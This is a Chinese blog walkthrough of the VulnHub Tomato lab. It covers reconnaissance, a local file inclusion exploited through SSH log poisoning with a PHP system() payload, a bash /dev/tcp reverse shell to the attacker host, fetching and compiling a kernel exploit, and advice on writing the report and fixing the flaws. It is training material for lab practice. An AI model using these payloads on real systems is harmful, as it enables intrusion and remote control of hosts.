资讯详情

Tomato靶机实战:从LFI漏洞到日志投毒拿下root完整渗透测试

📅 2026/9/16 4:39:03 | 华诺云谱 👁 阅读
Tomato靶机实战:从LFI漏洞到日志投毒拿下root完整渗透测试
把Tomato从开机到拿到root我大概花了一个半小时。这台靶机是VulnHub上一个典型的boot2root入门级环境名字叫Tomato难度标注中等但把Web渗透测试里最经典的信息收集、LFI漏洞利用、日志投毒、反弹Shell、内核提权几个环节全部串了起来。整条链路从80端口的一个网页开始最终在root shell里收尾。这篇文章就是我的完整渗透测试报告每一步的命令、判断依据、踩坑点都会写出来适合刚学完Kali Linux基础、想练完整流程的朋友照着复现也适合准备写渗透测试报告的同行参考。1. 测试准备Tomato靶机环境与授权边界1.1 Tomato靶机是一道什么样的练习题VulnHub是一个专门提供漏洞靶机镜像的平台上面有大量适合练习的虚拟机环境。Tomato是其中一个知名度较高的靶机发布已经有几年了但至今仍是很多安全培训课程里的首选练习对象。它的目标定义得非常清楚从一个只能访问HTTP服务的普通攻击者视角出发利用目标系统上的Web漏洞进入系统再通过权限提升拿到root权限最终读取一个只能由root访问的flag文件。这种boot2root模式模拟的就是真实渗透测试中最初进入点到核心权限的完整过程。和DVWA这类侧重单点漏洞练习的平台不同Tomato更强调漏洞之间的串联。你不可能靠一个单一漏洞直接打到root而是要走完发现入口→获取立足点→权限提升这样一条完整的攻击链。这对新手建立渗透测试的整体思维很有帮助。1.2 本地测试环境的网络配置要点测试环境建议准备两台虚拟机攻击机用Kali Linux靶机用Tomato的OVA镜像。虚拟机软件用VirtualBox或VMware都可以我这次用的是VirtualBox。网络模式这里有一个容易忽略的细节建议使用NAT网络模式让攻击机和靶机处在一个独立的虚拟子网中而不是直接用桥接模式。桥接模式会把靶机直接暴露到真实局域网里虽然方便但存在合规和安全风险。渗透测试练习环境的第一原则就是隔离。Tomato靶机默认通过DHCP获取IP导入OVA后开机即可。Kali攻击机也放到同一个NAT网络里启动后两台虚拟机应该能互相ping通。这个环境里没有真实的互联网业务系统不存在任何授权问题所有操作都控制在本机虚拟网络中这是整个测试的前提。1.3 本机测试使用的主要工具清单阶段工具用途主机发现netdiscover / arp-scan确认靶机在子网中的IP地址端口扫描nmap探测开放端口、服务版本、操作系统指纹Web信息收集curl / 浏览器 / gobuster页面源码审计、目录目录爆破漏洞利用手工构造HTTP请求确认并利用LFI漏洞反弹Shellnc / python / curl获取持久化会话提权searchsploit / gcc搜索并编译内核提权exp这里多说一句工具只是加速信息收集的手段真正决定渗透结果的是对漏洞原理的理解。后面每个环节我都会把原理讲清楚而不只是给命令。1.4 合规边界先讲清楚不管写什么渗透测试报告第一页都该有授权两个字。靶机练习没有任何法律风险但如果你把这套思路迁移到未经授权的真实系统上性质完全不同。渗透测试流程中有明确要求必须取得书面授权明确测试范围、时间窗口和允许使用的测试手法才能开始操作。我的建议是初学者先用VulnHub、HackTheBox这类平台练手它们本身就是授权测试环境可以放心操作。打完靶机后再去系统学习PTES渗透测试执行标准、OWASP测试指南这类流程框架把技术能力和职业规范一起建立起来。2. 信息收集缩小攻击面的关键三步2.1 主机发现先确认靶机在哪个IPKali启动后先用一条命令确认当前网段和自己的IP。我环境里的攻击机IP是192.168.56.106子网是192.168.56.0/24。然后做主机发现sudo netdiscover -r 192.168.56.0/24也可以用arp-scansudo arp-scan -l输出里能看到Kali和另一台主机的IP。我用的是192.168.56.104作为靶机地址后续所有操作都基于这个地址。这里有个小技巧如果网段里虚拟机较多可以先看MAC地址的生产厂商特征VirtualBox网卡通常能明显区分。2.2 端口扫描不要只扫默认端口主机发现做完直接上nmap。很多新手扫完默认端口就结束了这是不够的。有些服务会藏在高端口所以第一遍我习惯做全端口扫描sudo nmap -sS -sV -p- 192.168.56.104 --min-rate 1000为了快速看服务和系统指纹可以再跑一条sudo nmap -sS -sV -O -T4 192.168.56.104本次扫描结果非常干净只开放了80端口服务是HTTP操作系统识别为Linux。这个结果本身就传递了一个信号所有攻击面都集中在Web服务上后续思路要围绕80端口展开。配合nmap的默认脚本扫描也可以做但这里可以先不用因为网页上往往有更直接的信息。2.3 Web指纹与源码审计从注释里捡到第一个线索浏览器访问http://192.168.56.104/页面本身看起来很简单类似一个产品展示页或者静态站。很多新手扫一眼页面就关掉了这其实错过了Web渗透里最重要的一步查看源代码。我习惯性地按下CtrlU查看HTML源码结果在注释或者资源引用里发现了关键路径/info.php。这个发现比任何扫描器都直接。访问/info.php后页面上呈现的是完整的phpinfo()信息——也就是PHP配置信息页面。phpinfo()本身是一个非常重要的信息泄露点它会暴露PHP版本号例如PHP 7.x服务器软件的版本和安装路径DOCUMENT_ROOT启用的PHP模块列表disable_functions配置判断目标系统是否禁用命令执行函数session文件的保存路径环境变量、包含路径等在这个靶机上phpinfo告诉我们绝对路径是/var/www/html而且没有看到明显的函数禁用配置。这意味着后续拿到命令执行后可用的操作空间比较大。同时PHP版本信息也会在提权阶段用来排除一些不兼容的exp。这个阶段我得到的结论是网站除了静态页面还存在一个phpinfo信息泄露页面。但仅有信息泄露还不够还需要找到真正能交互的Web入口。2.4 目录扫描的作用与取舍虽然源码已经把/info.php这个突破口交出来了但为了确认是否存在其他隐藏路径我还是跑了一轮目录扫描gobuster dir -u http://192.168.56.104/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak输出中除了/info.php可能还会出现/admin、/antibot_image之类的目录。扫完目录之后只要回到首页仔细观察就会发现真正的漏洞入口和某个参数绑定在一起。这里要说明一点目录爆破是Web渗透里的兜底手段但不是每个靶机都必须靠它才能进门。很多时候源码注释、JS文件里的接口路径、报错信息里暴露的路径比字典爆破更精准。真正有效的信息收集是多种手段并行而不是一味依赖某一个工具。3. 从LFI到Getshell日志投毒的完整链路3.1 漏洞确认先用无害的/etc/passwd做验证在首页或者某个PHP页面的参数中我注意到存在一个f参数看起来像index.php?fxxx。这种参数名在Web渗透测试里非常敏感因为它很可能直接被拼接到文件包含函数中。我尝试用路径穿越读取系统文件curl -s http://192.168.56.104/index.php?f../../../../etc/passwd如果返回了类似root:x:0:0:root:/root:/bin/bash、tomato:x:1000:1000:,,,:/home/tomato:/bin/bash的内容就说明目标存在本地文件包含漏洞LFILocal File Inclusion而且f参数没有被严格过滤。这一步还能顺手收集用户信息系统里有一个名为tomato的普通用户shell是/bin/bash这是一个有效的登录入口线索。在实际测试中LFI漏洞通常有两种代码形态一种是直接include($_GET[f])不带任何后缀另一种是include($_GET[f]..php)强制追加.php后缀。要分清这两种情况可以尝试把参数改成../../../../etc/passwd%00做空字节截断但只在老版本PHP中有效或者通过包含日志文件来绕过后缀限制。Tomato这个靶机走的是前一种直接包含就能成功。3.2 从LFI到代码执行为什么选SSH日志投毒LFI本质上是文件读取要到命令执行还需要一个写入点。常见的组合方案有包含上传的图片马前提是存在文件上传点包含/proc/self/environ把恶意代码写到User-Agent中包含PHP session文件先在某个页面往session里写入内容包含Apache访问日志或SSH认证日志通过请求日志写入PHP代码包含/dev/stdin或其他伪设备在Tomato靶机上我实测走通的是SSH日志投毒。思路分成四步第一步确认目标LFI可以读取日志路径curl -s http://192.168.56.104/index.php?f/var/log/auth.log命令里的auth.log就是OpenSSH服务的认证日志。如果命令返回了类似Accepted password for ...或Invalid user ...的记录切片说明这个文件对Web服务用户可读。第二步使用SSH客户端向目标发送一个格式特殊的用户名让SSH服务把这个用户名写入日志ssh ?php system($_GET[c]); ?192.168.56.104输入密码的阶段随便敲几个字符即可因为目标是让认证失败并记录日志。OpenSSH在认证失败后会把客户端提交的用户名记录到auth.log中格式通常是Invalid user ?php system($_GET[c]); ? from 192.168.56.106 port ...。由于SSH协议中的用户名字段是字符串命令行里带引号传入的PHP代码会原样出现在日志里。第三步用LFI重新包含auth.log并带上命令参数curl -s http://192.168.56.104/index.php?f/var/log/auth.logcid如果一切顺利页面返回中会出现类似uid33(www-data) gid33(www-data) groups33(www-data)的输出。到这一步LFI已经被转化为远程命令执行。你可能想问为什么不直接用Apache访问日志原因很实际Apache的access.log里记录的是HTTP请求行URL中的空格、问号、尖括号都会被URL编码例如?php会变成%3C%3FphpPHP解析器并不买账。虽然可以通过一些编码技巧绕过但可控性和成功率远不如SSH日志。还有一个前提条件需要注意/var/log/auth.log的权限通常为640属主是root:adm。Web服务用户如果不在adm组就读不到这个文件。Tomato靶机上正好可以读所以这条路走得通。如果遇到不可读的情况可以退回到Apache日志、FTP日志、PHP session文件这几条备选路径。3.3 反弹Shell拿到一个真正可交互的终端用curl一条条执行命令虽然能用但效率太低而且每次都要做URL编码。更合理的做法是用命令执行点反弹一个交互式shell回到攻击机。攻击机上先监听端口nc -lvnp 4444靶机命令执行接口里发起反向连接。在Web请求中拼写这样一段命令bash -c bash -i /dev/tcp/192.168.56.106/4444 01由于URL中的、、这些字符有特殊含义不能直接拼接我用curl的--data-urlencode参数来处理curl -s http://192.168.56.104/index.php?f/var/log/auth.log --data-urlencode cbash -c bash -i /dev/tcp/192.168.56.106/4444 01攻击机上如果看到来自靶机的连接建立就进入了www-data的低权限shell。如果目标环境没有bash或者/dev/tcp不可用可以换成Python或者Perl的反弹命令。实战中我建议多准备几种形式的payload避免在单个目标上被卡住。拿到shell之后第一件事不是急着翻目录而是升级TTY让回显和交互更稳定。常用的手法python3 -c import pty; pty.spawn(/bin/bash)然后按CtrlZ把当前会话挂起在Kali本地执行stty raw -echo; fg最后设置终端类型export TERMxterm这样做之后Shell的Tab补全、CtrlC、上下键等功能才能正常使用后续操作体验会完全不同。3.4 拿到www-data后的第一轮信息盘点进入低权限shell后我没有急着找root密码或者跑提权脚本而是先按固定的检查清单做信息收集id whoami uname -a cat /etc/issue sudo -l ls -la /home find / -perm -4000 2/dev/null这些命令分别回答几个问题当前用户是谁、内核版本是什么、系统是哪个发行版、当前用户有哪些sudo权限、系统里有哪些可登录用户、有没有SUID特殊权限文件。Tomato靶机的系统信息显示这是一个较老的Ubuntu系统内核版本在3.x或者4.4左右。看到这个版本的Linux内核我的第一反应是这很可能是提权漏洞的高发版本。接下来需要确认具体的漏洞利用路径。4. 提权从www-data到root的突破口4.1 提权前先摸清家底在www-data权限下大部分系统文件都不可写但读取是没有问题的。我先详细查看了系统版本和内核版本uname -a cat /etc/lsb-release如果内核版本是Ubuntu 14.04下的3.13或者16.04初期的4.4.0那么这个系统对几个经典的内核提权漏洞几乎不设防。看到这样的版本号不需要慌直接去查对应的exp即可。同时也不要忽略用户层面的信息。在/home/tomato目录下可能会存在配置文件、备份文件、数据库连接文件等。很多靶机喜欢把重要信息放在看似无关的文件里例如隐藏文件、备份压缩包、bash历史记录。即使当前用户进不去某个目录也要先用ls -la把看得见的文件名都记录下来后续切换到更高权限用户后可能用得上。4.2 内核漏洞路径搜索并匹配exp确定内核版本后我在Kali上使用searchsploit搜索对应的本地提权expsearchsploit ubuntu 14.04 privilege escalation searchsploit linux kernel 3.13 overlayfs搜索到和当前内核版本匹配的exp后需要把源码传到靶机上。传文件的常见方式是在攻击机上启动一个临时HTTP服务python3 -m http.server 8080然后靶机通过wget或curl下载cd /tmp wget http://192.168.56.106:8080/exp.c编译gcc -pthread exp.c -o exp执行./exp如果exp成功命中当前用户会直接变成root。我这里走了内核漏洞提权这也是Tomato靶机版本背景下最直接的路径。需要说明的是不同来源的Tomato镜像可能存在环境差异比如内核补丁状态不同、某个配置文件被改动过。如果内核漏洞打不通不要死磕回到系统信息盘点阶段检查SUID文件、sudo配置、可写的计划任务、历史命令这些也都是提权的高频入口。4.3 内核漏洞提权之外的备选路径再分享一条在真实项目中经常有效的路径也可以作为Tomato提权的备选思路。从/etc/passwd已经知道系统里有tomato这个普通用户。如果能在Web目录、备份文件或者数据库配置里找到tomato用户的密码或者直接通过口令猜测进入该账号那提权会轻松很多。拿到tomato账号后运行sudo -l很多系统会给普通用户授予某个特定命令的无密码sudo权限例如/bin/cp、/usr/bin/find、/usr/bin/vim、/bin/mount。这些命令中任意一个如果能在root权限下运行都可以直接或间接获得root shell。这类问题的本质是sudo配置过于宽松和内核漏洞无关但利用起来往往比内核漏洞更稳定。如果sudo给了ALL或者某个可执行命令利用方式一般是调用该命令的shell逃逸功能或者是读改写权限文件。具体命令取决于系统管理员开放了什么测试时要回到现场版本确认。4.4 读取flag并复盘攻击链提权成功后id输出为uid0(root) gid0(root)然后进入/root目录找到flag文件并读取。到这里Tomato靶机的boot2root目标已经达成。整个攻击链可以总结成下面这个顺序阶段关键动作结果信息收集源码审计发现/info.php获得PHP配置信息漏洞发现测试f参数路径穿越确认LFI漏洞漏洞利用SSH日志投毒获得远程命令执行后渗透反弹Shell并升级TTY获得www-data交互终端权限提升匹配并利用内核漏洞获得root权限这个链条里每一环都依赖上一环任何一个节点的信息收集不完整都会卡壳。比如没看到源码里的/info.php后面的LFI测试就要靠猜没确认auth.log可读日志投毒就是空中楼阁。如果从ATTCK框架的视角看这次测试涉及了收集主机信息、利用面向公众的应用漏洞、命令和脚本解释器、利用提权漏洞等若干个战术阶段。日常报告里不一定非要套框架但框架能帮你有条理地检查有没有遗漏。5. 从靶机到真实项目渗透测试报告的落地写法5.1 报告给谁看、要写哪些章节打完靶机只是第一步把过程写成一份合格的渗透测试报告才是收尾。很多人觉得报告是给甲方交差用的其实报告对测试人员自己也是非常重要的复盘工具。一份标准的渗透测试报告通常包含测试概述、测试范围、发现的所有漏洞、每个漏洞的详细描述与复现步骤、修复建议、复测结论。真实商业项目中还会有风险等级汇总和整改优先级。Tomato这个靶机测试中发现的漏洞可以整理成下面这样一张汇总表漏洞名称风险等级影响范围对应阶段phpinfo信息泄露中危暴露绝对路径、PHP配置与版本信息收集本地文件包含LFI高危可读取系统任意文件漏洞利用日志投毒导致远程命令执行严重获得Web服务器权限漏洞利用系统内核提权漏洞高危获得root权限权限提升sudo或用户配置不当中危或高危横向或垂直越权备选提权路径风险等级可以参考CVSS 3.1的标准来评分但不建议死抠分数重点是让阅读报告的人清楚哪些漏洞必须优先处理。5.2 复现步骤的记录颗粒度写复现步骤时最怕省。不要只写一句存在LFI漏洞而是要把测试时间、使用工具、具体URL、请求参数、返回内容全部记录下来让看到报告的人可以照着一步步重新验证。以这次日志投毒为例报告里的复现步骤至少应该包含测试时间2025-xx-xx 14:30 测试地址http://192.168.56.104/index.php 复现方法 1. 确认LFI/index.php?f../../../../etc/passwd可读取系统passwd文件。 2. 确认日志可读/index.php?f/var/log/auth.log内容正常返回。 3. 构造SSH请求ssh ?php system($_GET[c]); ?192.168.56.104触发认证失败并写入日志。 4. 执行命令/index.php?f/var/log/auth.logcid返回www-data权限执行结果。每一步都有证据支撑审核者才信服。截图或者文本输出记录很重要但注意在真实项目里要先确认脱敏要求不能把客户敏感数据直接贴进报告。5.3 修复建议不能只写升级修复建议是报告里最有价值的部分也是很多测试人员写得最敷衍的部分。建议升级系统版本这句话没有任何操作指导意义要拆到具体层面。代码层对于LFI漏洞最直接的修复是禁止把用户可控参数直接传入文件包含函数。应当使用白名单映射机制例如预定义允许包含的模板文件列表而不是允许用户输入路径。同时要对输入做严格校验过滤路径穿越序列和空字节。配置层phpinfo()页面是典型的调试信息暴露严禁在生产环境保留。对应Web目录下的/info.php应当直接下线或者做访问控制。日志权限也需要收紧不能让Web服务用户读取/var/log/auth.log。如果确实不希望Web服务用户执行系统命令可以用disable_functions禁掉system、exec、passthru、shell_exec等高危函数但要注意业务本身是否需要用到这些函数不能盲目禁用。系统层对应内核提权漏洞修复方式是升级内核到安全版本这是最根本的解决办法。重点检查SSH服务配置禁止使用弱口令、设置登录失败锁定、限制允许登录的IP来源避免被利用日志投毒和横向登录。数据层所有配置文件中的明文密码必须替换为密钥管理方案或者加密存储。任何情况下都不应该把数据库密码写在Web目录下的配置文件里否则一次LFI就能把整个业务的核心凭证带走。5.4 我的复盘清单与踩坑提示最后把这次测试中踩过和被坑过的点统一列出来每一条都是实际教训第一信息收集阶段不要急着打。源码注释里的/info.php就是整个测试的钥匙如果不看源码后面用字典爆破也能找到但时间成本完全不同。多花五分钟看源码往往比跑一小时的扫描器更划算。第二LFI测试要多角度尝试。确认存在LFI后要判断有没有强制后缀、有没有过滤路径穿越这些都会影响后续利用方案。如果../../../../不成功可以试着用绝对路径/var/log/auth.log有时候目标代码对相对路径的解析会有额外限制。第三日志投毒前先确认日志路径可读。这是一个很容易忽略的前提条件。/var/log/auth.log权限如果只有root能读SSH投毒方案直接作废必须提前切换到Apache日志或者session文件方案。第四反弹Shell命令的编码要仔细。拼接bash -c bash -i /dev/tcp/IP/PORT 01时、、$这些字符在URL里都是高危字符不编码的话在被目标执行之前就可能被Web服务器、应用防火墙或者PHP自身的处理流程截断。善用curl --data-urlencode能省很多事。第五内核提权失败不代表没路了。提权是渗透测试中最容易卡住的一环失败后回到信息盘点检查SUID文件、sudo规则、历史命令、可写的定时任务往往比换一个exp更有效。在这个靶机上如果内核漏洞不生效tomato用户的弱口令和sudo配置就是最值得深挖的方向。第六每执行一步就记录一步。Shell里的历史记录在断线后会丢失攻击机上的临时脚本也会被清理只有同步写下来的笔记才是报告的唯一素材来源。我习惯在每个关键节点把命令、输出、时间一起贴到本地记录文件里打完之后整理报告会非常快。回过头来看这台靶机其实没有特别复杂的技巧每一步都是Web渗透测试的基础功源码审计、LFI、日志投毒、提权。但正因为基础它才适合用来检验自己有没有真正理解漏洞之间的串联逻辑。如果准备拿Tomato练手建议先自己完整打一遍卡住之后再回来看这篇报告收获会大得多。最后再强调一次所有操作都必须在授权的靶场环境中进行思路可以反复练手不能伸到未授权的目标上。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。